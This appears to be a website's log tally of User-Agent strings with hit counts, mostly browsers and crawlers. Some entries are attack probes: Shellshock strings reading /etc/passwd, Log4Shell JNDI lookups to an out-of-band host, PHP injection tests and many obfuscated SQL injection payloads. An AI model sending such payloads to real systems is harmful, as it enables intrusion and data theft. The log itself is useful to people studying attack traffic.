UC%E6%B5%8F%E8%A7%88%E5%99%A8/17.0.2 CFNetwork/1496.0.7 Darwin/23.5.03
Client/45056 CFNetwork/1496.0.7 Darwin/23.5.03
Owler (ows.eu/owler)3
UC%E6%B5%8F%E8%A7%88%E5%99%A8/17.1.1 CFNetwork/1494.0.7 Darwin/23.4.03
Mozilla/5.0 (compatible; Konqueror/4.1; DragonFly) KHTML/4.1.4 (like Gecko)3
MOT-V177/0.1.75 UP.Browser/6.2.3.9.c.12 (GUI) MMP/2.0 UP.Link/6.3.1.13.03
%E5%A4%B8%E5%85%8B/7.3.6 CFNetwork/1494.0.7 Darwin/23.4.03
com.apple.WebKit.Networking/20619.2.8.11.10 Network/4277.41.2 macOS/15.13
BlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/1033
SonyEricssonW580i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.13
Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.113
facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)3
Mozilla/5.0 (OS/2; Warp 4.5; rv:10.0.12) Gecko/20130108 Firefox/10.0.12 SeaMonkey/2.7.23
Java/1.8.0_3523
com.apple.WebKit.Networking/20620.2.4.11.6 Network/4277.81.1 macOS/15.3.23
Mozilla/5.0 (compatible; ScannerBot/1.0)3
com.apple.WebKit.Networking/20621.1.15.11.10 Network/4277.101.3 macOS/15.43
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Safari/120.0 Safari/537.363
NetworkingExtension/8622.1.18.10.3 CFNetwork/3857.100.1 Darwin/25.0.03
Nextcloud Server Crawler3
Opera/6 CFNetwork/3857.100.1 Darwin/25.0.03
Mozilla/5.0 (compatible; Yeti/1.1; +http://naver.me/spd)2
Screaming Frog SEO Spider/17.12
Scrapy/1.7.3 (+https://scrapy.org)2
Client/25841 CFNetwork/1402.0.8 Darwin/22.2.02
Client/25841 CFNetwork/1399 Darwin/22.1.02
Screaming Frog SEO Spider/18.42
Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.02
Client/30885 CFNetwork/1406.0.4 Darwin/22.4.02
Mozilla/5.0 (OS/2; U; OS/2; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Arora/0.11.0 Safari/533.32
Client/33174 CFNetwork/1408.0.4 Darwin/22.5.02
Client/33723 CFNetwork/1410.0.3 Darwin/22.6.02
Screaming Frog SEO Spider/18.52
Mozilla/5.0 (X11; FreeBSD amd64; rv:109.0) Gecko/20100101 Firefox/113.02
hydra2
BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/1022
Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.02
Scrapy/2.11.0 (+https://scrapy.org)2
AVAYA2
Mozilla/5.0 (X11; CrOS aarch64 14989.85.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.362
Mozilla/5.0 (compatible; archive.org_bot +http://www.archive.org/details/archive.org_bot)2
Client/38550 CFNetwork/1490.0.4 Darwin/23.2.02
Embarcadero URI Client/1.02
Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://www.majestic12.co.uk/bot.php?+)2
shadowforce.io - sslshed/0.12
Swisscows Favicons2
Searcherweb2
Mozilla/5.0 (OS/2; U; OS/2; en-US) AppleWebKit/533.3 (KHTML, like Gecko) QupZilla/1.3.1 Safari/533.32
Mozilla/5.0 (compatible; Google-Apps-Script; beanserver; +https://script.google.com; id: UAEmdDd_3rBe_zq4IPVbLo4eqvNSyuv65DAM)2
zoombot (linkbot 1.0 http://suite.seozoom.it/bot.html)2
workona-favicon-service/1.0.02
Client/42448 CFNetwork/1496.0.7 Darwin/23.5.02
Safari/537.36 OPR/38.0.2220.412
cc2
Client/44146 CFNetwork/1496.0.7 Darwin/23.5.02
Client/44281 CFNetwork/1496.0.7 Darwin/23.5.02
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/6417bfd warc/v0.8.432
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; WRTNBot/1.0; +https://wrtn.ai/WRTNBot)2
Avant Browser/1.2.789rel1 (http://www.avantbrowser.com)2
msnbot-media/1.1 ( http://search.msn.com/msnbot.htm)2
allie-alligator/1.0.0 (+ally.cre.icu)2
Test Certificate Info2
Mozilla/5.0 AppleWebKit (KHTML, like Gecko) Chrome Safari2
Gregarius/0.5.2 ( http://devlog.gregarius.net/docs/ua)2
SonyEricssonT610/R201 Profile/MIDP-1.0 Configuration/CLDC-1.02
grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)2
NetSurf/1.2 (NetBSD; amd64)2
googlebot2
Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es502
SonyEricssonT68/R201A2
Mozilla/2.02E (Win95; U)2
Mozilla/5.0 (OS/2; Warp 4.5; rv:24.0) Gecko/20100101 Firefox/24.02
Mozilla/5.0 (X11; CrOS i686 12.433.216) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.105 Safari/534.302
Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.362
Screaming Frog SEO Spider/21.32
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/3fae3c8 warc/v0.8.682
TestCrawler/Nutch (https://about:blank/)2
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GeedoProductSearch; +http://www.geedo.com/product-search.html) Chrome/79.0.3945.88 Safari/537.362
Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.112
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) LookoutBot/1.0; Chrome/133.0.0.0 Safari/537.362
cpp-httplib/0.15.32
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/a8e8486 warc/v0.8.732
undici2
Mozilla/5.0 (compatible; DomainChecker/1.0)2
Mozilla/5.0 (compatible; Example3/1.0; +https://www.example3.com/domain/liveviews.cc)2
Mozilla/5.0 (X11; CrOS i686 1660.57.0) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.46 Safari/535.192
Peach/1.01 (Ubuntu 8.04 LTS; U; en)2
Mozilla/5.0 (Unknown; U; UNIX BSD/SYSV system; C -) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.22
Mozilla/5.0 (compatible; SBIntuitionsBot/0.1; +https://www.sbintuitions.co.jp/bot/)2
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/106.0 Safari/537.362
Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.362
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Safari/113.0 Safari/537.362
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Safari/102.0 Safari/537.362
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Safari/107.0 Safari/537.362
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/101.0 Safari/537.362
SuperFastScraper/2.02
Mozilla/5.0 (compatible; ORT/v1.0.0; visit ORTc.me )2
Client/57709 CFNetwork/3857.100.1 Darwin/25.0.02
Mozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.02
AdsBot-Google ( http://www.google.com/adsbot.html)2
Mozilla/5.0 (compatible; ModatScanner/1.1; +https://modat.io/)2
Mozilla/5.0 Firefox/33.01
Mozilla/5.0 (PPC; rv:4.0) Gecko/2015915 Firefox/4.01
Mozilla/5.0 (68K; rv:7.0) Gecko/201212 Firefox/7.01
Screaming Frog SEO Spider/16.21
Mattermost-Bot/1.11
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Yeti/1.1; +https://naver.me/spd) Chrome/101.0.4951.0 Safari/537.361
RepoLookoutBot/1.0.0 (abuse reports to abuse@repo-lookout.org)1
libwww-perl/6.671
Mozilla/5.0 zgrab/0.x (compatible; Researchscan/http; +http://researchscan.comsys.rwth-aachen.de)1
MetaInspector/5.6.0 (+https://github.com/jaimeiniesta/metainspector)1
PocketParser/2.0 (+https://getpocket.com/pocketparser_ua)1
Mozilla/5.0 (68K; rv:11.0) Gecko/2008913 Firefox/11.01
Screaming Frog SEO Spider/18.11
Mozilla/5.0 (compatible; Googlebot/2.1; +https://www.google.com/bot.html)1
Client/28420 CFNetwork/1404.0.5 Darwin/22.3.01
Client/29283 CFNetwork/1404.0.5 Darwin/22.3.01
Mozilla/5.0 (PPC) AppleWebKit/544.0 (KHTML, live Gecko) Chrome/22.01020.917 Safari/5441
Fuzz Faster U Fool v1.5.0-dev1
Client/29983 CFNetwork/1406.0.4 Darwin/22.4.01
Mozilliqa"<?=print(9347655345-4954366);?>"1
Mozilliqa'<?=print(9347655345-4954366);?>'1
Mozilliqa'{${print(9347655345-4954366)}}'1
Mozilliqa"{${print(9347655345-4954366)}}"1
Mozilliqa'+print(9347655345-4954366)+'1
Mozilla/5.0 (68K; rv:12.0) Gecko/201878 Firefox/12.01
Mozilla/5.0 (PPC; rv:14.0) Gecko/2002827 Firefox/14.01
Mozilla/5.0 (compatible; MSIE 2.0; PPC; SV1; Trident/3.0)1
Mozilla/4.0 Java/1.8.0_3621
RepoLookoutBot/v1.1.0-256-gb4d44eb (abuse reports to abuse@repo-lookout.org)1
Mozilla/5.0 (compatible; LocalBot/0.1;)1
Mozilla/5.0 (compatible; TOBBOT; +http://tobbot.com/)1
DuckDuckGo/1.58.1 CFNetwork/1474.1 Darwin/23.0.01
Mozilla/5.0 (compatible; MSIE 7.0; 68K; Trident/5.0)1
Opera/9.80 (iOS; Opera Mini/7.0.73345/28.2555; U; ru) Presto/2.10.229 Version/11.621
Java/1.8.0_3321
Mozilla/5.0 (PPC; rv:15.0) Gecko/2008106 Firefox/15.01
Client/35843 CFNetwork/1410.0.3 Darwin/22.6.01
Mozilla 5.01
HubSpot Connect 2.0 (http://dev.hubspot.com/) (namespace: domain_http_fetcher) - BidenSpark-refreshStaleDomainResolutionsJob1
Client/36613 CFNetwork/1485 Darwin/23.1.01
`Mozilla/5.01
spider1
Client/37312 CFNetwork/1490.0.4 Darwin/23.2.01
Opera/9.80 (J2ME/MIDP; Opera Mini/4.4.26916/26.1424; U; ru) Presto/2.8.119 Version/10.541
Screaming Frog SEO Spider/19.41
MSIE1
asusrouter--1
() { :; }; echo ; echo ; /bin/cat /etc/passwd1
${jndi:ldap://${:-750}${:-275}.${hostName}.useragent.cmrppudpscopka503ot0x8gkz6fn3kqgk.oast.fun}1
${jndi:ldap://127.0.0.1#.${hostName}.useragent.cmrppudpscopka503ot05f8wji94gwpa6.oast.fun}1
TNAS1
Node.js1
Report Runner1
MicroMessenger1
"() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'"1
Client/38217 CFNetwork/1490.0.4 Darwin/23.2.01
Arc/1.32.0 (Mac OS X Version 14.3 (Build 23D56))1
Scrapy/2.0.1 (+https://scrapy.org)1
Client/39582 CFNetwork/1490.0.4 Darwin/23.2.01
Screaming Frog SEO Spider/16.31
Arc/1.40.1 (Mac OS X Version 14.4.1 (Build 23E224))1
Screaming Frog SEO Spider/12.01
Mozilla/5.0 (iPod; CPU iPod OS 7_8_1; like Mac OS X) AppleWebKit/536.48 (KHTML, like Gecko) Chrome/47.0.3404.312 Mobile Safari/533.41
Mozilla/5.0 (iPod; CPU iPod OS 8_6_5; like Mac OS X) AppleWebKit/600.16 (KHTML, like Gecko) Chrome/52.0.3435.356 Mobile Safari/600.11
Screaming Frog SEO Spider/12.61
GlobalWebSearch1
Scrapy/2.6.1 (+https://scrapy.org)1
mozilla/5.0 (compatible; msie 8.0; windows; windows nt 6.3; x64; en-us trident/4.0)1
mozilla/5.0 (linux; u; android 6.0; htc one_m9 build/mra58k) applewebkit/603.3 (khtml, like gecko) chrome/52.0.1707.215 mobile safari/535.91
mozilla/5.0 (iphone; cpu iphone os 10_6_0; like mac os x) applewebkit/602.37 (khtml, like gecko) chrome/52.0.3854.235 mobile safari/601.81
mozilla/5.0 (compatible; msie 8.0; windows; u; windows nt 6.2; trident/4.0)1
Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.3) Gecko/20070505 Firefox/2.0.0.31
mozilla/5.0 (macintosh; u; intel mac os x 10_12_1; en-us) gecko/20100101 firefox/54.51
mozilla/5.0 (windows; windows nt 10.3; wow64) applewebkit/601.6 (khtml, like gecko) chrome/51.0.2196.234 safari/5341
mozilla/5.0 (linux; linux i572 ; en-us) gecko/20130401 firefox/49.11
mozilla/5.0 (windows; u; windows nt 6.3; x64; en-us) applewebkit/536.35 (khtml, like gecko) chrome/55.0.2054.354 safari/537.4 edge/9.207051
mozilla/5.0 (linux; u; android 6.0; htc one_m9 build/mra58k) applewebkit/602.48 (khtml, like gecko) chrome/48.0.3430.367 mobile safari/533.21
mozilla/5.0 (linux; android 4.4; e:number:20-23:13 build/24.0.b.1.34) applewebkit/534.18 (khtml, like gecko) chrome/52.0.2491.294 mobile safari/533.01
Mozilla/5.0 (X11; Winux x86_64; rv:75.0) Gecko/20100101 Squierfox/75.01
mozilla/5.0 (linux; android 6.0; sm-g920l build/mmb29v) applewebkit/536.5 (khtml, like gecko) chrome/47.0.2142.257 mobile safari/603.41
mozilla/5.0 (linux; linux x86_64) applewebkit/603.1 (khtml, like gecko) chrome/47.0.1756.241 safari/6031
mozilla/5.0 (compatible; msie 7.0; windows; windows nt 6.3; trident/4.0)1
mozilla/5.0 (windows nt 6.0; x64) gecko/20100101 firefox/55.81
mozilla/5.0 (compatible; msie 10.0; windows; u; windows nt 6.2;; en-us trident/6.0)1
mozilla/5.0 (linux i542 ) gecko/20100101 firefox/60.31
mozilla/5.0 (android; android 5.1.1; nexus 8 build/lrx22c) applewebkit/600.44 (khtml, like gecko) chrome/50.0.3948.282 mobile safari/534.91
mozilla/5.0 (macintosh; u; intel mac os x 10_1_8) gecko/20100101 firefox/58.81
mozilla/5.0 (windows; windows nt 10.4;; en-us) applewebkit/537.17 (khtml, like gecko) chrome/49.0.1256.383 safari/5351
mozilla/5.0 (ipad; cpu ipad os 10_6_9 like mac os x) applewebkit/533.39 (khtml, like gecko) chrome/51.0.1478.273 mobile safari/600.31
Mozilla/5.0 (X11; CrOS armv7l 6812.88.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.153 Safari/537.361
Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.8.1.4) Gecko/20070622 Firefox/2.0.0.41
More Opera 8.50 user agents strings -->>1
Client/44595 CFNetwork/1496.0.7 Darwin/23.5.01
Ruby1
Mozilla/5.0 (compatible; Google-Apps-Script; beanserver; +https://script.google.com; id: UAEmdDd8lMbznYYu2t_-XJji3hqxuUiJUhM4)1
Mozilla/5.0 (undefined) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2178.431
Mozilla/4.0 (compatible; Synapse)1
Mozilla/5.0 (iPod; CPU iPod OS 10_7_0; like Mac OS X) AppleWebKit/601.2 (KHTML, like Gecko) Chrome/49.0.3462.376 Mobile Safari/601.11
Mozilla/5.0 (iPod; CPU iPod OS 10_9_8; like Mac OS X) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/50.0.3222.242 Mobile Safari/537.81
Client/45056 CFNetwork/1568.100.1 Darwin/24.0.01
aria2/1.33.11
More Firefox 2.0.0.8 user agents strings -->>1
More Firefox 3.0.7 user agents strings -->>1
More Firefox 3.0.5 user agents strings -->>1
14481
(SelEct/**/(CaSE/**/wheN/**/(6987=8757)/**/Then/**/6987/**/ElsE/**/1/(SelEct/**/0)/**/ENd))1
(sEleCt/**/(caSE/**/wHen/**/(4737=4737)/**/THen/**/4737/**/eLSe/**/1/(sEleCt/**/0)/**/eNd))1
(SeleCT/**/(cASE/**/WHEn/**/(2222=9072)/**/theN/**/2222/**/ELSe/**/2222*(SeleCT/**/2222/**/uNiOn/**/ALl/**/SeleCT/**/9072)/**/End))1
(sELEcT/**/(CaSe/**/WHEn/**/(1995=1995)/**/tHen/**/1995/**/ElsE/**/1995*(sELEcT/**/1995/**/uNIoN/**/aLl/**/sELEcT/**/4625)/**/ENd))1
(SElECt/**/(CaSe/**/WhEN/**/(5932=7935)/**/Then/**/5932/**/ElsE/**/CAst(1/**/As/**/Int)/(SElECt/**/0/**/fROM/**/duAl)/**/End)/**/fROM/**/duAl)1
(SELEct/**/(CaSE/**/wHeN/**/(2345=2345)/**/THeN/**/2345/**/elsE/**/cAsT(1/**/As/**/inT)/(SELEct/**/0/**/FroM/**/DuAL)/**/End)/**/FroM/**/DuAL)1
(SElECt/**/(Case/**/When/**/(9566=6230)/**/Then/**/9566/**/eLSE/**/1/0/**/End)/**/FrOM/**/SYSMASTER:SYSDUAL)1
(SEleCT/**/(CasE/**/WHeN/**/(2979=2979)/**/thEn/**/2979/**/eLSe/**/1/0/**/EnD)/**/frOM/**/SYSMASTER:SYSDUAL)1
IIf(2410=4852,2410,1/0)1
iIF(3168=3168,3168,1/0)1
(CaSE/**/wHEN/**/(6511=6027)/**/thEn/**/6511/**/elSe/**/6511*(SelEcT/**/6511/**/From/**/DUAl/**/uniON/**/SelEcT/**/6027/**/From/**/DUAl)/**/ENd)1
(caSe/**/WhEn/**/(6656=6656)/**/Then/**/6656/**/eLsE/**/6656*(SELect/**/6656/**/froM/**/duAl/**/UNioN/**/SELect/**/4215/**/froM/**/duAl)/**/enD)1
(caSE/**/wHeN/**/6898=8184/**/theN/**/6898/**/ELSe/**/NUlL/**/eND)1
(cASe/**/When/**/6960=6960/**/ThEN/**/6960/**/ElSe/**/NulL/**/eND)1
(sEleCT/**/5180/**/froM(sEleCT/**/cOUnT(*),conCaT(0x7178717071,(sEleCT/**/(ELt(5180=5180,1))),0x71706b6b71,fLOOr(ranD(0)*2))x/**/froM/**/INFORMATION_SCHEMA.pLUgIns/**/GrouP/**/bY/**/x)a)1
(ExtrActVAlue(4328,cOnCAt(0x5c,0x7178717071,(SELecT/**/(eLT(4328=4328,1))),0x71706b6b71)))1
(cAst((chR(113)||chR(120)||chR(113)||chR(112)||chR(113))||(SeLeCt/**/(CAse/**/wHeN/**/(9658=9658)/**/tHEN/**/1/**/elSe/**/0/**/EnD))::TeXT||(chR(113)||chR(112)||chR(107)||chR(107)||chR(113))/**/As/**/NUmERiC))1
(ConVERT(Int,(SElect/**/cHAr(113)+cHAr(120)+cHAr(113)+cHAr(112)+cHAr(113)+(SElect/**/(CasE/**/wHen/**/(2454=2454)/**/thEn/**/cHAr(49)/**/ELSe/**/cHAr(48)/**/ENd))+cHAr(113)+cHAr(112)+cHAr(107)+cHAr(107)+cHAr(113))))1
(SELEcT/**/uPpER(xMlTyPE(Chr(60)||Chr(58)||Chr(113)||Chr(120)||Chr(113)||Chr(112)||Chr(113)||(SELEcT/**/(cASe/**/wheN/**/(9866=9866)/**/Then/**/1/**/eLse/**/0/**/eND)/**/froM/**/DuaL)||Chr(113)||Chr(112)||Chr(107)||Chr(107)||Chr(113)||Chr(62)))/**/froM/**/DuaL)1
(SeLeCT/**/cONCAt(cONCAt('qxqpq',(CAsE/**/wHEN/**/(9121=9121)/**/thEN/**/'1'/**/elsE/**/'0'/**/ENd)),'qpkkq'))1
(sEleCt/**/cONcAt(0x7178717071,(eLt(6825=6825,1)),0x71706b6b71))1
(SelEct/**/(ChR(113)||ChR(120)||ChR(113)||ChR(112)||ChR(113))||(SelEct/**/(caSE/**/wHeN/**/(8897=8897)/**/THeN/**/1/**/ELsE/**/0/**/eNd))::tExT||(ChR(113)||ChR(112)||ChR(107)||ChR(107)||ChR(113)))1
(seLECT/**/ChaR(113)+ChaR(120)+ChaR(113)+ChaR(112)+ChaR(113)+(CaSe/**/whEn/**/(3100=3100)/**/tHen/**/ChaR(49)/**/ElSE/**/ChaR(48)/**/EnD)+ChaR(113)+ChaR(112)+ChaR(107)+ChaR(107)+ChaR(113))1
(sELECT/**/CHr(113)||CHr(120)||CHr(113)||CHr(112)||CHr(113)||(cASE/**/wHEn/**/(4476=4476)/**/THeN/**/TO_nUmber(1)/**/ElsE/**/TO_nUmber(0)/**/ENd)||CHr(113)||CHr(112)||CHr(107)||CHr(107)||CHr(113)/**/fROm/**/DUaL)1
SeLeCt/**/CHaR(113,120,113,112,113)||(CasE/**/WHEn/**/(2386=2386)/**/theN/**/1/**/eLSe/**/0/**/eND)||CHaR(113,112,107,107,113)1
SEleCt/**/'qxqpq'||(casE/**/8758/**/WhEN/**/8758/**/tHEn/**/1/**/ELse/**/0/**/eND)||'qpkkq'/**/FRoM/**/RDB$daTABaSE1
(ChAr(113)||ChAr(120)||ChAr(113)||ChAr(112)||ChAr(113)||(cASE/**/whEn/**/(8519=8519)/**/tHEN/**/ChAr(49)/**/elSe/**/ChAr(48)/**/enD)||ChAr(113)||ChAr(112)||ChAr(107)||ChAr(107)||ChAr(113))1
(cASe/**/wHen/**/(8422=8422)/**/TheN/**/sLeeP(20)/**/elSe/**/8422/**/enD)1
(SElECT/**/8297/**/frOM/**/(SElECT(sLEep(20)))gDaN)1
(SELECt/**/8336/**/frOM/**/pg_SlEEP(20))1
BegIn/**/If/**/(5407=5407)/**/ThEN/**/DBMS_LOCK.SlEEP(20);/**/ElSe/**/DBMS_LOCK.SlEEP(0);/**/End/**/If;/**/End;1
(seLEcT/**/(CasE/**/wHeN/**/(7439=7439)/**/Then/**/DBMS_PIPE.REceIVe_MeSSAGe(cHR(71)||cHR(111)||cHR(88)||cHR(65),20)/**/eLsE/**/7439/**/End)/**/fRom/**/dUal)1
-2108)/**/Order/**/bY/**/1--/**/Whiu1
-6720)/**/orDer/**/By/**/2685--/**/oJCu1
-3616'/**/ORDeR/**/By/**/1--/**/NSMS1
-9552'/**/OrDER/**/bY/**/8765--/**/WFbp1
-5239)/**/ordER/**/bY/**/1--/**/xEOI1
-3912)/**/orDEr/**/By/**/1387--/**/QRLf1
-4010))/**/orDEr/**/bY/**/1--/**/psin1
-7555))/**/ordeR/**/By/**/8175--/**/tStN1
-2349)))/**/OrdEr/**/By/**/1--/**/ZKkq1
-4274)))/**/ordeR/**/By/**/7872--/**/MkFX1
-4867/**/ORDer/**/By/**/1--/**/SAWF1
-7515/**/orDER/**/bY/**/4280--/**/Pifc1
-7286')/**/OrDER/**/bY/**/1--/**/FDdv1
-1492')/**/Order/**/bY/**/4602--/**/TCzL1
-6680'))/**/oRdEr/**/By/**/1--/**/xzcx1
-5290'))/**/ORder/**/bY/**/8503--/**/MTwt1
-8680')))/**/ORDeR/**/bY/**/1--/**/jJId1
-9861')))/**/orDEr/**/By/**/8518--/**/llBy1
-3851'/**/Order/**/By/**/1--/**/YByW1
-2154'/**/orDer/**/bY/**/7506--/**/rXAe1
-8194')/**/oRDEr/**/By/**/1--/**/pBzj1
-3764')/**/OrDEr/**/bY/**/1768--/**/ghyW1
-7200'))/**/oRDER/**/By/**/1--/**/TTtg1
-2235'))/**/ORDEr/**/bY/**/6246--/**/slqA1
-5050%'/**/OrdeR/**/By/**/1--/**/AILK1
-9844%'/**/ORdeR/**/bY/**/2574--/**/NYnj1
-8367'/**/orDER/**/By/**/1--/**/mlxY1
-6840'/**/orDer/**/By/**/9644--/**/qlVO1
-6077")/**/OrDeR/**/By/**/1--/**/oVun1
-3917")/**/oRdEr/**/bY/**/1999--/**/kfqW1
-7702"))/**/oRder/**/bY/**/1--/**/lihp1
-8248"))/**/oRdEr/**/By/**/5891--/**/heqV1
-7924"/**/ORdEr/**/bY/**/1--/**/Prtq1
-7816"/**/ORdER/**/By/**/2915--/**/wdlU1
-8491")/**/oRDer/**/By/**/1--/**/lSMf1
-4910")/**/OrDer/**/bY/**/1543--/**/QHEW1
-6720"/**/oRDer/**/By/**/1--/**/UvcQ1
-9005"/**/oRdeR/**/By/**/6111--/**/ovJG1
-1459/**/ORDeR/**/bY/**/1--/**/OJEy1
-3392/**/OrdeR/**/bY/**/9996--/**/IrGc1
-6548/**/oRDer/**/bY/**/1--/**/nNWQ1
-2437/**/orDer/**/bY/**/8398--/**/AMiB1
-3256'/**/oRder/**/By/**/1--/**/NqMt1
-5631'/**/OrDEr/**/By/**/6284--/**/NXYt1
-1466)/**/ordEr/**/By/**/1#1
-6653)/**/ORdEr/**/By/**/8043#1
-6572'/**/ORdEr/**/bY/**/1#1
-9296'/**/ordeR/**/bY/**/6229#1
-4256)/**/oRdeR/**/bY/**/1#1
-6638)/**/ORDeR/**/bY/**/7075#1
-4678))/**/ORdEr/**/bY/**/1#1
-7562))/**/OrDeR/**/By/**/2996#1
-2827)))/**/orDER/**/By/**/1#1
-3607)))/**/OrDEr/**/bY/**/6772#1
-8128/**/oRDER/**/By/**/1#1
-1925/**/oRder/**/By/**/2093#1
-6360')/**/orDer/**/bY/**/1#1
-5038')/**/OrDeR/**/bY/**/5067#1
-2740'))/**/ORdEr/**/By/**/1#1
-9457'))/**/ORdER/**/bY/**/6392#1
-1705')))/**/ordER/**/bY/**/1#1
-3118')))/**/ORdeR/**/By/**/5257#1
-5994'/**/ordEr/**/bY/**/1#1
-2251'/**/oRdEr/**/By/**/9760#1
-8596')/**/oRdEr/**/bY/**/1#1
-1366')/**/ORdeR/**/bY/**/1900#1
-6206'))/**/oRDeR/**/By/**/1#1
-1404'))/**/ORdER/**/bY/**/5611#1
-9554%'/**/ORdEr/**/By/**/1#1
-4353%'/**/OrDer/**/By/**/8433#1
-6631'/**/orDer/**/bY/**/1#1
-4341'/**/OrdER/**/bY/**/5752#1
-7237")/**/ordER/**/bY/**/1#1
-5628")/**/OrdeR/**/bY/**/5529#1
-4621"))/**/ORder/**/By/**/1#1
-5678"))/**/ordeR/**/By/**/3418#1
-7344"/**/oRDEr/**/By/**/1#1
-7973"/**/ORDeR/**/By/**/9185#1
-9703")/**/ordER/**/bY/**/1#1
-4060")/**/ordEr/**/bY/**/4534#1
-4645"/**/oRdeR/**/bY/**/1#1
-5559"/**/OrDer/**/bY/**/9127#1
-9552/**/ordER/**/bY/**/1#1
-3073/**/ORDEr/**/bY/**/4430#1
-5909/**/ORder/**/bY/**/1#1
-1012/**/ORdER/**/bY/**/3859#1
-5297'/**/ORdER/**/By/**/1#1
-6850'/**/oRder/**/By/**/1928#1
MOT-L7v/08.B7.5DR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.01
Go 1.1 package http1
Client/49058 CFNetwork/1568.300.101 Darwin/24.2.01
php7.41
Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.201
Client/49061 CFNetwork/1568.300.101 Darwin/24.2.01
Screaming Frog SEO Spider/21.11
NetworkingExtension/8620.1.16.10.11 Network/4277.60.255 iOS/18.21
Trello1
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/f948b16 warc/v0.8.601
Client/49636 CFNetwork/1568.300.101 Darwin/24.2.01
php7.4-global1
w3m/0.5.3+git202301211
Exabot1
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/0716226 warc/v0.8.681
white-analyz-bug1
Mozilla/5.0 (Mobile; rv:45.0) Gecko/45.0 Firefox/45.01
Client/51331 CFNetwork/3826.400.120 Darwin/24.3.01
Spider_Bot/3.01
Mozilla/5.0 (compatible; Google-Apps-Script; beanserver; +https://script.google.com; id: UAEmdDd8TIIbehDd_4vUXBsmn-PmoON9V8g)1
Fuzz Faster U Fool v2.1.01
Mozilla/5.0 (compatible; proximic; +https://www.comscore.com/Web-Crawler)1
SeobilityBot (SEO Tool; https://www.seobility.net/sites/bot.html)1
Java/1.8.0_3221
php7.3 service list1
Arc/1.91.0 (Mac OS X Version 14.7.5 (Build 23H527))1
imgproxy/3.23.01
WanScannerBot/1.01
Mozilla/5.0 (BlackBerry; U; BlackBerry 9860; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+1
newspaper/0.2.81
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/123.0 Safari/537.361
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Safari/111.0 Safari/537.361
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/117.0 Safari/537.361
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Safari/128.0 Safari/537.361
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Safari/126.0 Safari/537.361
python-urllib3/2.2.31
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/119.0 Safari/537.361
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/116.0 Safari/537.361
Client/55650 CFNetwork/3826.500.131 Darwin/24.5.01
